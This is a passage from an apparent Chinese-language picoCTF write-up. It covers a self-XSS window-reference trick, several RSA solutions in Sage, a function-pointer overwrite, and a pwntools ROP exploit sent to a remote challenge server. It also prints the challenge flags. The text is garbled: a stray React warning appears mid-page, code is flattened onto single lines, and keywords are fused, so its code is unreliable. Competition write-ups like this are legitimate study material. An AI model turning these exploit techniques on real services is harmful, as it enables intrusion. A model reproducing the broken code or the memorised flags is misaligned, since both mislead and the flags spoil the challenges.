如果有兩個 window A B 都有相同的
document.domain,只要擁有 window reference
的話就能直接存取另一個 window 的 DOM。所以只要能讓 A 是在 POST
login 之前的頁面,然後 B 是 Self-XSS 的視窗,用某種方式 (e.g.
window.opener)讓 B 能讀到 A 的 DOM 即可拿到 flag。
Warning: React has detected a change in the order of Hooks called by _Drawing. This will lead to bugs and errors if not fixed. For more information, read the Rules of Hooks: https://reactjs.org/link/rules-of-hooks
# This will overflow the stack, it will need to be significantly optimized in order to get the answer :) @functools.cache defm_func(i): if i == 0: return1 if i == 1: return2 if i == 2: return3 if i == 3: return4
defdecrypt_flag(sol): sol = sol % (10 ** 10000) sol = str(sol) sol_md5 = hashlib.md5(sol.encode()).hexdigest()
if sol_md5 != VERIF_KEY: print("Incorrect solution")
key = hashlib.sha256(sol.encode()).digest() flag = bytearray([char ^^ key[i] for i, char inenumerate(ENCRYPTED_FLAG)]).decode()
print(flag)
decrypt_flag(int(sol))
Flag: picoCTF{b1g_numb3rs_3956e6c2}
Sum-O-Primes
一樣是 RSA,只是多給了
的值。直接寫出多項式求整數根即可:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
from Crypto.Util.number import *
x = 0x1C5D833516F25A832A331F349D2931D1577B3171D689DA0391608DEA7BBD9CDA413D836DB2F5C79DA05755225C41AF1CFFBFAF1777B64ABB521AC63E09D6101FE16FA7B98A647B94ECCEF0601681C34D4AA0AC9DED573F14460DC5DC5337D24BDF1F69325689346795ADB0F9159CB2779463DCE6E084ADF861B61BD76BB160132 n = 0xC6C7C7879953A678D8E6D2AB85248F19B3F7C4B1E0C4C3F5BC1B63946ABCAC0CC19523386A08BBB5BD09321B9023DF091F162DD0E9B100DA1B5D15F78523EA6D7C6D7C7CD8B5C287FCD5D91DEFC53A32885C0A6F16F3B13221BBD4B5254BB9DBFE79244D343841485AD38FB139ABFA3C3BD50E4787B1E882D21ADA914989C1497774BDAA046AD2366028BD31F9277C39F58FE6FC78C247C4159B8879EAA7E15301CE937A7491E7727E5AE6E7852DF6F9FD3367E5BB178C7013805A16EE68F6CDF8F5F72B2FBC159C38244082B1C47F5814A494AC7B310C37FE68A85E4448885D0DE8F93D21106121FF74C0C6452FF697B2D2660483AF13CE82EBDC0293B24DAD c = 0x101EF1AF3FD07A28858D5102E2448F29FD995F63DF13B6E6A98D077E2330722AF3374CD30652943FD1DE006118024A4C86A23EAE960B872E8D6C5735D73A05C40D039B6779B78F0FB90DAF5011DE05636B35A47416CB91712DF3CA62F32BD2799B24D3B267A6140F98B07DFBB9E333BC71170776CE794F34674C232544DF18E719698614958BBDA4E371E58E22DF63C2284F0F748AF6EA0465F520ED8A70BA8D12307900216645B820C29A6297C1754A703A7CAA1747ECF4D4BEE49163366686FF15961DB87F08007C302BDE64C3E4DC165604A856B036C891EF4B0DD1FD9AEC79F2A7D2D017C880C1A523D1D46868A99EE2B0046CACEBE65DA9A3CE3B7C9683 e = 65537
P.<r> = ZZ[] # (r-p)(r-q)=r^2-xr+n f = r ^ 2 - x * r + n p = f.roots()[0][0] q = n // p assert p * q == n
d = inverse_mod(e, (p - 1) * (q - 1)) m = power_mod(c, d, n) print(long_to_bytes(m))
Flag: picoCTF{92fe3557}
NSA Backdoor
這題和前面 Very Smooth 使用了一樣的生成方法產生 ,只是這次 flag 是使用 加密的。
n = 0x72BAE3105C52D6CA470AA6D21B1A8A9F2208951CA6CD71D1B484E38095E0558B32D9DB2F926771DC4A93B6DEEBAF64D2978F0F4EFC8F49DB5571959E214C900A4BED54FA235EE72CEC66C85BCA819EA3FB1B4E3DD70E940D9067EB3D0A6A4ABF6C152D7D1A19D0833532048EC84754C95EB8055B7E3817E65AEA897E3E2A29764AF08589A6271721C863DF2386CEB9EEA4F208ED8F45F0628D5EC3AFCC416AB3DDA4071A9FCA2166E87F14A9475B1711A0B4CCDEFAB041A7E2A7B418155AED4A1BBC343A0C1A8D9AF479FF7E62765BFB5F1762AA66C4B06CE44B5681977E027428B32811C8C539F0C631178ED60A863176CDD1FD73EE9CBE14EAA5E7010443CD c = 0x4790C71B682F70A3E8AEAEB62B7B5C7381B27AB013D806631EFD826DA0BFC4EA7F343AD33EA0ABDD14762ACF5FCDF02B3E44646B8DF7B09345EC2C43614A15E4E38BDA58BF0B08F643E521D04F4D1EB06A4521351533B4140DF785F12FA085DB1E14DBA803F00A25208167B359045D4491A49463F2423894DC69D92FC814229BF3D439B0D552732363AF89605FC5BC035612B68C49D01C5EC185028D3D036332F6D5D7BCCC1E65C7FE13AEFB3C8A4EBEB8006092CB714B9040EC3147C0EC784CB6E6CAE2456999AFDC8FCACD3F3D2502D29B59BE9F47E5FF192512FF6A37CF12837F3DA1A1905DE2D5A4AE7EEA353C1B0C15C764BB10A45A21CDB84C3BF948EF
# pollard p-1 p = 99755582215898641407852705728849845011216465185285211890507480631690828127706976150193361900607547572612649004926900810814622928574610545242732025536653312012118816651110903126840980322976744546241025457578454651121668690556783678825279039346489911822502647155696586387159134782652895389723477462451243655239 q = 145188107204395996941237224511021728827449781357154531339825069878361330960402058326626961666006203200118414609080899168979077514608109257635499315648089844975963420428126473405468291778331429276352521506412236447510500004803301358005971579603665229996826267172950505836678077264366200199161972745420872759627
assert p * q == n xp = GF(p)(c).log(3) xq = GF(q)(c).log(3) x = crt([xp, xq], [p - 1, q - 1]) print(long_to_bytes(x))
void (*check)(char*, size_t) = hard_checker; int fun[10] = {0};
voidvuln() { char story[128]; int num1, num2;
printf("Tell me a story and then I'll tell you if you're a 1337 >> "); scanf("%127s", story); printf("On a totally unrelated note, give me two numbers. Keep the first one less than 10.\n"); scanf("%d %d", &num1, &num2);
// Set the gid to the effective gid // this prevents /bin/sh from dropping the privileges gid_t gid = getegid(); setresgid(gid, gid, gid); vuln(); return0; }
OOB 寫入蓋掉 function pointer 把 hard_checker 改成
easy_checker 即可。
/* This program is compiled statically with clang-12 without any optimisations. */
voidwin(){ char buf[FLAGSIZE]; char filler[BUFSIZE]; FILE *f = fopen("flag.txt","r"); if (f == NULL) { printf("%s %s", "Please create 'flag.txt' in this directory with your", "own debugging flag.\n"); exit(0); }
fgets(buf,FLAGSIZE,f); // size bound read }
voidUnderConstruction(){ // this function is under construction char consideration[BUFSIZE]; char *demographic, *location, *identification, *session, *votes, *dependents; char *p,*q, *r; // *p = "Enter names"; // *q = "Name 1"; // *r = "Name 2"; unsignedlong *age; printf("User information : %p %p %p %p %p %p\n",demographic, location, identification, session, votes, dependents); printf("Names of user: %p %p %p\n", p,q,r); printf("Age of user: %p\n",age); fflush(stdout); }
voidvuln(){ char buf[INPSIZE]; printf("Give me a string that gets you the flag\n"); gets(buf); printf("%s\n",buf); return; }
intmain(int argc, char **argv){
setvbuf(stdout, NULL, _IONBF, 0); // Set the gid to the effective gid // this prevents /bin/sh from dropping the privileges gid_t gid = getegid(); setresgid(gid, gid, gid); vuln(); printf("Bye!"); return0; }
elf = ELF("./vuln") rop = ROP(elf) ret = rop.find_gadget(["ret"]).address
# io = gdb.debug("./vuln", "b *(vuln+56)\nc") io = remote("saturn.picoctf.net", 54645) io.sendlineafter( b"the flag\n", b"a" * 14 + flat( [ elf.sym["win"], # eax will be the address of flag on stack # put some ret to prevent flag from being overwritten ret, ret, ret, ret, ret, ret, ret, ret, 0x8049EEB, # mov [esp+4], eax; call printf 0x80C91F6, # "%s\n" ] ), ) io.interactive()
Flag: picoCTF{Cle4N_uP_M3m0rY_4c1cd4ab}
其實我不懂為什麼這個題目值 400 分...
Rev
Keygenme
IDA 打開可以知道它是個 flag checker,讀一下 check
的函數看了出來它使用某些已知的值去算 md5 生成 flag,之後一個一個 byte
和輸入比較。所以 gdb 在適當的地方下斷點,然後從 stack 讀出 flag
即可。
Flag: picoCTF{br1ng_y0ur_0wn_k3y_9d74d90d}
Wizardlike
這是個使用 ncurses 寫的小遊戲,一共有十關。前面幾關有 flag 的
prefix,後面每關各有一個 hex digit 代表 flag 的 suffix。